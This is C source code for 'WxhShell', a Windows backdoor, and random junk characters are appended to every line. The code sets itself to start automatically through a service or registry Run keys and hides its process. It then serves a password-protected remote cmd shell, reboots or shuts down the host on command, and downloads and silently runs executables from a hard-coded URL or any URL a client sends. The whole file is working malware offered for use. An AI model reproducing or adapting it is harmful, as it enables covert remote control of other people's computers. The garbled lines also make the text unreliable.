    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dHcGe{T^(  
    if(Boot(SHUTDOWN)) NXwlRMbo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,P?R 3  
    else { {29x5J  
    closesocket(wsh); aCL_cVOMR  
    ExitThread(0); Qx_K)  
    } o9tvf|+z  
    break; g{`rWKj  
    } HuX{8nl a  
  // 获取shell qU'O4TWZ  
  case 's': { a]-.@^:_i  
    CmdShell(wsh); oNgu- &  
    closesocket(wsh); . PzlhTL7  
    ExitThread(0); oEqt7l[I{  
    break; %cDTy]ILu  
  } BjT0m k"P  
  // 退出 x*)@:W!  
  case 'x': { +sTZ) 5vQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (HHVup1f  
    CloseIt(wsh); 8Nr,Wq  
    break; .K`^n\T t  
    } Vx]{<}(gr  
  // 离开 y.zS?vv2g  
  case 'q': { HWr")%EhD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a\wpJ|3{=T  
    closesocket(wsh); `_IgH  
    WSACleanup(); ODG OWw0  
    exit(1); G3j&8[  
    break; x)X=sX.  
        } ar0y8>]3  
  } =R M=@X  
  } py,B6UB5  
}&Eb {'  
  // 提示信息 AZmABl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xh7#\m_U8  
} I2@pkVv3z  
  } \O"EK~x}/  
bK)gB!  
  return; (6C%w)8'  
} 0Ey*ci^ue  
09Sy- je*/  
// shell模块句柄 0Ywqv)gg  
int CmdShell(SOCKET sock) MIcF "fB![  
{ )~q@2^  
STARTUPINFO si; D`;Q?f C  
ZeroMemory(&si,sizeof(si)); v{ F/Bifo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; giy4<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .Dw^'p>  
PROCESS_INFORMATION ProcessInfo; *D: wwJ  
char cmdline[]="cmd"; mWUo:(U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5feCA ,v7  
  return 0; -[kbHrl&  
} `>@n6>f  
q%u;+/|l  
// 自身启动模式 gxpGi@5  
int StartFromService(void) Q3Sw W  
{ W/O&(t  
typedef struct s=lkK / [  
{ mlgw0   
  DWORD ExitStatus; e[t+pnRh  
  DWORD PebBaseAddress; DkP%1Crdr  
  DWORD AffinityMask; X<4h"W6  
  DWORD BasePriority; U?u0|Y+  
  ULONG UniqueProcessId; J4 yT|  
  ULONG InheritedFromUniqueProcessId; >$]SYF29  
}   PROCESS_BASIC_INFORMATION; sa%2,e'  
Lh~Ym<CeN  
PROCNTQSIP NtQueryInformationProcess; 2}P<}-?6  
&xF 2!t`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z:|2PQ4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RVmD&  
EM+_c)d}  
  HANDLE             hProcess; v%|()Z0  
  PROCESS_BASIC_INFORMATION pbi; *N"bn'>3  
gIR{!'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N 3)OH6w"  
  if(NULL == hInst ) return 0; :%Dw3IrOM  
XDvT#(Pu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <tZPS`c'_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C'ZF#Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |9)Q =(  
CtwMMZXX3  
  if (!NtQueryInformationProcess) return 0; X*Mw0;+T  
JHN3 5a+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }}v04~  
  if(!hProcess) return 0; !*wK4UcX"  
'z\K0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zV {[0s  
{ U a19~'>  
  CloseHandle(hProcess); G0Wzx)3]  
h3.wR]ut  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {9KG06%+  
if(hProcess==NULL) return 0; <Tr_,Ya{9  
SGMLs'D   
HMODULE hMod; Pg%OFhA  
char procName[255]; ,D-VC{lj  
unsigned long cbNeeded; V)\|I8"  
?6@Y"5 z3g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5Bw  
W`] ,  
  CloseHandle(hProcess); j'i-XIs  
DJlY~}v#_  
if(strstr(procName,"services")) return 1; // 以服务启动 zH8l-0I+$  
^ MkT">  
  return 0; // 注册表启动 }2M2R}D  
} ]* -9zo0  
5:SfPAx  
// 主模块 6Gjr8  
int StartWxhshell(LPSTR lpCmdLine) -nG3(n&wB  
{ '3eP<earRP  
  SOCKET wsl; }9e4?7  
BOOL val=TRUE; 0q"&AxNsP  
  int port=0; BvpGP  
  struct sockaddr_in door; )Rla VAtM  
$(_Xt-6  
  if(wscfg.ws_autoins) Install(); Y;S+2])R2  
^<xpp.eY  
port=atoi(lpCmdLine); uY5&93R  
iUqL /  
if(port<=0) port=wscfg.ws_port; 0Z#&!xTb  
&ZFsK c#  
  WSADATA data; nm 66U4.@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zLue j'  
0Ep%&>@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v#:#w.]-Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R<)7,i`F  
  door.sin_family = AF_INET; oUR'gc :  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T>d-f=(9KH  
  door.sin_port = htons(port); SZH,I&8  
Fsv%=E{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _OP75kv  
closesocket(wsl); LJYFz=p "  
return 1; f&B&!&gZ  
} `TKe+oS)  
$@[6jy  
  if(listen(wsl,2) == INVALID_SOCKET) { Lllyx20U  
closesocket(wsl); HS]|s':  
return 1; lM"@vNgK  
} fb4/LVg'J  
  Wxhshell(wsl); bl(rCbj(w  
  WSACleanup(); YmFJlMK  
uG&xtN8  
return 0; v! uD]}  
"n:z("Q*  
} 5E?{>1  
BdB/`X*  
// 以NT服务方式启动 a_w# ,^/P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2#ND(  
{ ([iMOE[D3  
DWORD   status = 0; ]$!-%pNv  
  DWORD   specificError = 0xfffffff; 0RN]_z$;H  
_/MHi-]/.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4]u53`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :84fd\It4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wd?(B4{  
  serviceStatus.dwWin32ExitCode     = 0; 7NV1w*> /  
  serviceStatus.dwServiceSpecificExitCode = 0; a,U[$c  
  serviceStatus.dwCheckPoint       = 0; a,x-akZWf  
  serviceStatus.dwWaitHint       = 0; E$=!l{Ms  
)8p FPr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *KN'0Z@W  
  if (hServiceStatusHandle==0) return; Z{xm(^'i  
\-$wY%7  
status = GetLastError(); $(K[W}  
  if (status!=NO_ERROR) X zgJ@  
{ %WiDz0o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @~hiL(IR'  
    serviceStatus.dwCheckPoint       = 0; e82SG8#]  
    serviceStatus.dwWaitHint       = 0; pca `nN!  
    serviceStatus.dwWin32ExitCode     = status; Pqli3(  
    serviceStatus.dwServiceSpecificExitCode = specificError; w2_$>z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4*< x0  
    return; Xd@  -  
  } b1JXC=*@  
0sM{yGu=,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S\b[Bq  
  serviceStatus.dwCheckPoint       = 0; 8+5# FC7  
  serviceStatus.dwWaitHint       = 0; |N/Grk4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @?lmho?  
} uOUgU$%zqH  
`w';}sQA7  
// 处理NT服务事件,比如:启动、停止 g|ewc'y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5&Al  
{ E j`  
switch(fdwControl) i#]}k  
{ o.W:R Ux  
case SERVICE_CONTROL_STOP: R?Zv  
  serviceStatus.dwWin32ExitCode = 0;  BC*62m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KtTv0[66  
  serviceStatus.dwCheckPoint   = 0; >>/|Q:  
  serviceStatus.dwWaitHint     = 0; ?_)b[-N!  
  { 1c8Nr&Jl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~SUrbRaY>  
  } Y1fcp_]m  
  return; '/M9V{DD88  
case SERVICE_CONTROL_PAUSE: 4'u +%6+__  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4FrP%|%E~  
  break; S v3O${B|  
case SERVICE_CONTROL_CONTINUE: San3^uX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "i>?Tg^  
  break; 4P(muOS  
case SERVICE_CONTROL_INTERROGATE: 9#(Nd, m})  
  break; fk%W0 7x!  
}; "[h9hoN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W D8  
} (Y i 1U~{:  
N)yCGo  
// 标准应用程序主函数 |)~t ^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +}3l$L'bY  
{ +/O3L=QyJ  
~]f6@n  
// 获取操作系统版本 u%m,yPU ~B  
OsIsNt=GetOsVer(); 1N\/61+aA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -t#YL  
hK]mnA[Y  
  // 从命令行安装 7b8+"5~  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^mwS6WH6  
Xz,fjKUnN  
  // 下载执行文件 a+mrsyM  
if(wscfg.ws_downexe) { /EP RgRX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vJ,r}$H3  
  WinExec(wscfg.ws_filenam,SW_HIDE); xP{)+$n  
} 6W\G i>  
!d.bCE~  
if(!OsIsNt) { HQkK8'\LP  
// 如果时win9x,隐藏进程并且设置为注册表启动 >U\1*F,Om,  
HideProc(); WUBI( g\  
StartWxhshell(lpCmdLine); Am ~P$dN  
} HPryq )z  
else G)8v~=Bv  
  if(StartFromService()) ;cEoc(<?  
  // 以服务方式启动 %6.WGuO  
  StartServiceCtrlDispatcher(DispatchTable); qdnwaJ;&  
else WAt= T3  
  // 普通方式启动 fI v?HD:j  
  StartWxhshell(lpCmdLine); V O\g"Yc  
xlcL;e&^P  
return 0; r03%+:  
} q6'Q-e)  
"wy2u~  
G^|!'V  
F|a'^:Qs  
=========================================== (kTu6t*  
xp?YM35  
PrHoN2y5E  
KCIya[$*  
$b~[>S-Q  
uH&B=w  
" YK\pV'&+  
h% eGtd$n  
#include <stdio.h> BCfmnE4%  
#include <string.h> KKq%'y)u^  
#include <windows.h> {/j gB"9  
#include <winsock2.h> 7`j%5%q  
#include <winsvc.h> j{j5TvsrY  
#include <urlmon.h> ]Twyj  
>0z`H|;  
#pragma comment (lib, "Ws2_32.lib") 7YxVtN  
#pragma comment (lib, "urlmon.lib") 8@[S,[  
jlA6~n  
#define MAX_USER   100 // 最大客户端连接数 !w}b}+]GB  
#define BUF_SOCK   200 // sock buffer ?b:Pl{?  
#define KEY_BUFF   255 // 输入 buffer !1Hs;K  
hVz] wKP  
#define REBOOT     0   // 重启 %JHv2[r^P  
#define SHUTDOWN   1   // 关机 3G[|4v?[<_  
OwT_W)$  
#define DEF_PORT   5000 // 监听端口 xG;;ykh.]  
LZb<-vK"y  
#define REG_LEN     16   // 注册表键长度 'ieTt_1.G  
#define SVC_LEN     80   // NT服务名长度 H| _@9V  
C1fd@6  
// 从dll定义API XG*> yra`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n5%\FFG0M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6J\ 2 =c`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ab]tLz|Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {sf ,(.W  
rFGPS%STS  
// wxhshell配置信息 qw$9i.Z  
struct WSCFG { wAw1K2d  
  int ws_port;         // 监听端口 b*(K;`9)B  
  char ws_passstr[REG_LEN]; // 口令 F3qCtx *N  
  int ws_autoins;       // 安装标记, 1=yes 0=no {_-T!yb  
  char ws_regname[REG_LEN]; // 注册表键名 ,oUzaEX  
  char ws_svcname[REG_LEN]; // 服务名 W+GC3W   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \gA<yz-;N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $#-rOi /  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O PzudO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  4pl\qf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IIih9I`IR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }LCm_av  
"{r8'qn  
}; ]\KVA)\  
Pn^`_  
// default Wxhshell configuration > SLQW  
struct WSCFG wscfg={DEF_PORT, 0VcHz$ 6  
    "xuhuanlingzhe", JRi:MWR<r  
    1, ?)J/uU2w  
    "Wxhshell", u4IK7[=  
    "Wxhshell", "5L?RkFi\  
            "WxhShell Service", $cIaLq  
    "Wrsky Windows CmdShell Service", A"ATtid  
    "Please Input Your Password: ", nhdZC@~E0  
  1, -N% V5 TN  
  "http://www.wrsky.com/wxhshell.exe", hcj]T?  
  "Wxhshell.exe" 6i-G{)=l  
    }; T 5Zh2Q@  
+Eh.PWEe  
// 消息定义模块  {ibu 0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vRH^en  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'KIT^k0"Ih  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F$DA/{.D  
char *msg_ws_ext="\n\rExit."; 4VZI]3K,  
char *msg_ws_end="\n\rQuit."; , + G  
char *msg_ws_boot="\n\rReboot..."; Nd]F 33|X  
char *msg_ws_poff="\n\rShutdown..."; g3c<c S^l  
char *msg_ws_down="\n\rSave to ";  t1 YB  
@]%eL  
char *msg_ws_err="\n\rErr!"; zwZvKV/g  
char *msg_ws_ok="\n\rOK!"; #lrwKHZ+  
X+ITW#  
char ExeFile[MAX_PATH]; cFw-JM<  
int nUser = 0; l>K+4  
HANDLE handles[MAX_USER]; cN0 *<  
int OsIsNt; 1R3,Z8j'  
!DzeJWM|  
SERVICE_STATUS       serviceStatus; #<< el;n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L&DjNu`!9  
{iX#  
// 函数声明 ". tW5O>  
int Install(void); |dLr #+'az  
int Uninstall(void); wYf\!]}'  
int DownloadFile(char *sURL, SOCKET wsh); . 2$J-<O  
int Boot(int flag); 5PO_qr= Hx  
void HideProc(void); JyZuj>` 6  
int GetOsVer(void); o *J*} y  
int Wxhshell(SOCKET wsl); #Z1-+X8P  
void TalkWithClient(void *cs); mA{?E9W  
int CmdShell(SOCKET sock); TL2E|@k1]  
int StartFromService(void); @>Yd6C  
int StartWxhshell(LPSTR lpCmdLine); R1X'}#mU  
.*x:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w[ v {)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9^W7i]-Z  
S[exnZ*Y  
// 数据结构和表定义 -DdHl8  
SERVICE_TABLE_ENTRY DispatchTable[] = *sOb I(&  
{ 3~T ~Bs  
{wscfg.ws_svcname, NTServiceMain}, ekvs3a^  
{NULL, NULL} B^/MwD>%  
}; #zTy7ZS,0  
a*y9@RC}  
// 自我安装 a~7D4G  
int Install(void) `s)4F~aVo  
{ V?j,$LixY  
  char svExeFile[MAX_PATH]; )vS0Au^C~  
  HKEY key; ).;{'8Q  
  strcpy(svExeFile,ExeFile); i"}z9Ae~.  
n7fhc*}:`  
// 如果是win9x系统,修改注册表设为自启动 !CUl1L1DSi  
if(!OsIsNt) { 8{jXSCP#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dhtH&:J< ;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q4m> 3I  
  RegCloseKey(key); 2.aCo, Kb;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >`0U2K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \W .CHSD  
  RegCloseKey(key); 9s^$tgH  
  return 0; QMBT8x/+_'  
    } bFX{|&tHU  
  } KAClV%jP  
} M YF ^zheD  
else { /eQAGFG  
p75o1RU  
// 如果是NT以上系统,安装为系统服务 LZn'+{\`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :|s8v2am  
if (schSCManager!=0) zG#5lzIu,  
{ F,Q;sq  
  SC_HANDLE schService = CreateService 3P6O]x<-?  
  ( %3a-@!|1<  
  schSCManager, >Bb X:  
  wscfg.ws_svcname, gS'{JZu2  
  wscfg.ws_svcdisp, 9,'m,2%W  
  SERVICE_ALL_ACCESS, cF8  2wg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _/LGGt4&%  
  SERVICE_AUTO_START, f\hMTebma$  
  SERVICE_ERROR_NORMAL, ]?4;Lw  
  svExeFile, ~o!- [  
  NULL, Vx$;wU Y  
  NULL, %Xd*2q4*  
  NULL, 'Tm1Mh0Fso  
  NULL, ,,{;G'R|  
  NULL L(TM& ps\-  
  ); " #iJ/vy  
  if (schService!=0) {nV/_o$$  
  { KQPu9f9  
  CloseServiceHandle(schService); @PvO;]]%  
  CloseServiceHandle(schSCManager); o^@"eG$,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'GJB9i+a^  
  strcat(svExeFile,wscfg.ws_svcname); [h3xW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h9Far8}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "r&,#$6W6  
  RegCloseKey(key); xG/Q%A  
  return 0; 6j(/uF4!#  
    } '3b\d:hN  
  } wD9K\%jIr!  
  CloseServiceHandle(schSCManager); N_c44[z 1  
} h-P|O6@Ki  
} mw 28E\U  
>B{NxL3->  
return 1; ~*Y#Y{  
} FW|& iS$  
u(f   
// 自我卸载 jA{5)-g  
int Uninstall(void) dQj/ Sr  
{ i5}Zk r  
  HKEY key; DO: ,PZX  
J9mK9{#q  
if(!OsIsNt) { <T_3s\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bTD?uX!^@  
  RegDeleteValue(key,wscfg.ws_regname); cT'Bp)a  
  RegCloseKey(key); XGSFG ~d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6j6CA?|  
  RegDeleteValue(key,wscfg.ws_regname); }:#WjH^  
  RegCloseKey(key); LL(xi )  
  return 0; 8S1@,O,  
  } Pp_ 4B  
} 7S{qo&j'  
} L"bJ#0m  
else { |owr?tC  
a4,V(Hlm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i|^Q{3?o#  
if (schSCManager!=0) ! UT'4Fs  
{ ;@ePu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -8n1y[  
  if (schService!=0) aN0[6+KP;  
  { $f =`fPo  
  if(DeleteService(schService)!=0) { zq};{~u(  
  CloseServiceHandle(schService); rwq   
  CloseServiceHandle(schSCManager); e S8(HI6{^  
  return 0; 59Pc:Gg;  
  } R0-0  
  CloseServiceHandle(schService); bB_LL  
  } Jp=qPG|  
  CloseServiceHandle(schSCManager); ?J:w,,4m  
} <[db)r~c  
}  vywB{%p  
ZexC3LD"  
return 1; U<j5s\Y,  
} \L*%?~  
_w\9 \<%  
// 从指定url下载文件 6eSo.@*l  
int DownloadFile(char *sURL, SOCKET wsh) =<n ]T;  
{ V+`kB3GV  
  HRESULT hr; gRY#pRT6d  
char seps[]= "/"; << 6 GE  
char *token; Cf[tNq  
char *file; roS" q~GS,  
char myURL[MAX_PATH]; v,-Tk=qP  
char myFILE[MAX_PATH]; v?`R8  
T~]~'+<Pi  
strcpy(myURL,sURL); {xTq5`&gT  
  token=strtok(myURL,seps); %> XsKXj  
  while(token!=NULL) |*{*tW C1  
  { O\=Z;}<N  
    file=token; F1yn@a "=J  
  token=strtok(NULL,seps); )  ;0  
  } p'h'Cz  
_5p$#U`  
GetCurrentDirectory(MAX_PATH,myFILE); R (f:UC  
strcat(myFILE, "\\"); %ztZ#h~g  
strcat(myFILE, file); UXct+l  
  send(wsh,myFILE,strlen(myFILE),0); .\XRkr'-  
send(wsh,"...",3,0); ]K(a32VCH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,j%\3g`  
  if(hr==S_OK) QEJu.o  
return 0; oZ%uq78#[%  
else &hWELZe0vv  
return 1; b-& rMML  
iE'_x$i  
} lju5+0BSb  
2y!n c%  
// 系统电源模块 Ij#mmj NW  
int Boot(int flag) r)t[QoD1  
{ 6Ryc&z5  
  HANDLE hToken; |ty&}'6C  
  TOKEN_PRIVILEGES tkp; )U\i7[k>  
]ae(t`\l^  
  if(OsIsNt) { !`{?qQ[=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XVs]Y'* x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tb&?BCp  
    tkp.PrivilegeCount = 1; 9 /H~hEVK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o26Y }W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0C<\m\|~k  
if(flag==REBOOT) { 85E$m'0O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vU>^  
  return 0; 0fqcPi  
} q'jOI_b  
else { ei= 4u'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j3sz"(  
  return 0; (pELd(*Ga  
} ,buX|  
  } IUOf/mM5  
  else { )q<VZ|V  
if(flag==REBOOT) { WM+8<|)n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s\d3u`G  
  return 0; <f7 O3 >  
} .BP d06y  
else { &kb~N-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gvc@q`_]  
  return 0; gclj:7U  
} |<{SSA  
} goR_\b SU  
6m&GN4Ca  
return 1; kQ=bd{a6  
} 6/;YS[jX  
+C`!4v\n  
// win9x进程隐藏模块 1EV bGe%b  
void HideProc(void) nFni1cCD  
{ &eV5#Ph  
 hlVC+%8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b()8l'x_|K  
  if ( hKernel != NULL ) wiI@DJ>E  
  { ^y>V-R/N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g=td*S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M{L<aYe  
    FreeLibrary(hKernel); 0L>3 i8'  
  } @ 51!3jeu  
Oem1=QpaC  
return; ~|KqG  
} R6<'J?k  
8$-MUF,  
// 获取操作系统版本 6Jgl"Jw8  
int GetOsVer(void) j"jssbu}  
{ 0Px Hf*  
  OSVERSIONINFO winfo; JlSqTfA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yD<#Q\,  
  GetVersionEx(&winfo); ytj});,>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \gP?uJ  
  return 1; +vZYuEq_  
  else 4b}p[9k  
  return 0; xiW}P% bf  
} wQ(DX!   
Cx;it/8+  
// 客户端句柄模块 A6szTX#0  
int Wxhshell(SOCKET wsl) TY]0aw2]|7  
{ <x`yoVPiZg  
  SOCKET wsh; E:rJi]  
  struct sockaddr_in client; S[y'{;  
  DWORD myID; m !:F/?B  
Ps0 Cc_  
  while(nUser<MAX_USER) hEjvtfM9\-  
{ "0!#De  
  int nSize=sizeof(client); 6ud?US(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D?ic~-&  
  if(wsh==INVALID_SOCKET) return 1; z\v  
3+>R%TX6i<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dtuCA"D  
if(handles[nUser]==0) .;?ha'  
  closesocket(wsh); *effDNE!  
else yMW3mx301j  
  nUser++; -}@C9Ja[?  
  } ,% yC4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +!@xH];  
h6~xz0,u  
  return 0; =)y$&Ydj  
} g,E)F90  
v0r:qku  
// 关闭 socket C=c&.-Nb9  
void CloseIt(SOCKET wsh) J*g<]P&p0  
{ O#tmB?n*  
closesocket(wsh); tln}jpCw  
nUser--; <c@dE  
ExitThread(0); 4PSbr$  
} TFbc@rfB  
n}NUe`E_h  
// 客户端请求句柄 tqA-X[^  
void TalkWithClient(void *cs) oItC;T  
{ f$ /C.E  
g?1bEOA!  
  SOCKET wsh=(SOCKET)cs; [ GknE#p  
  char pwd[SVC_LEN]; UHY)+6qt]  
  char cmd[KEY_BUFF]; {(-TWh7V  
char chr[1]; *)r_Y|vg  
int i,j; )cN=/i  
 V13^SVM  
  while (nUser < MAX_USER) { ~i-n_7+  
0Wd5s{S  
if(wscfg.ws_passstr) { \sGJs8#v][  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f:q2JgX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ bNDeA&l  
  //ZeroMemory(pwd,KEY_BUFF); z V $Z@o  
      i=0; @ &c@  
  while(i<SVC_LEN) { !/2kJOSp  
(N}\Wft%  
  // 设置超时 2P57C;N8|  
  fd_set FdRead; 7TX$  
  struct timeval TimeOut; Q-_;.xy#4  
  FD_ZERO(&FdRead); a&)$s;  
  FD_SET(wsh,&FdRead); !G;BYr>X  
  TimeOut.tv_sec=8;  OG IN-  
  TimeOut.tv_usec=0; %Y`)ZKh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ADP[KZO$ 4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ke*&*mx"L  
ygm=q^bV]s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -}qay@cDt  
  pwd=chr[0]; ),;h  
  if(chr[0]==0xd || chr[0]==0xa) { 8QFRX'i  
  pwd=0; Rv*x'w ==  
  break; #!z'R20PH  
  } \XY2s&"  
  i++; MMRO@MdfV  
    } i+-Y"vRi  
Gd&G*x  
  // 如果是非法用户,关闭 socket 1g!%ej jd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GB >h8yXH  
} +],2smd@N  
~}YgZ/U7T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "(F:'J} X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qB3& F pgW  
({rescQB  
while(1) { TAM`i3{D  
r-BqIoVT  
  ZeroMemory(cmd,KEY_BUFF); aj+I+r"~  
>48)@sS  
      // 自动支持客户端 telnet标准   w RTzpG4  
  j=0; BGB.SN#q+  
  while(j<KEY_BUFF) { 9&c *%mm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >GDN~'}^oz  
  cmd[j]=chr[0]; LrfyH"#!:  
  if(chr[0]==0xa || chr[0]==0xd) { QZ-6aq\sgp  
  cmd[j]=0; Rm.9`<Y  
  break; ilj9&.isB  
  } !]f:dWSLB  
  j++; [aC2ktI  
    } h1_KZ[X  
jK=-L#hz  
  // 下载文件 d~d~Cd`V  
  if(strstr(cmd,"http://")) { ]s_BOt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cvs4dd%)i  
  if(DownloadFile(cmd,wsh)) 'UCF2 L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )vur$RX  
  else wmv/ ?g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vzrp9&loY  
  } 9%Ftln6  
  else { n;dp%SD  
FJ&?My,=J  
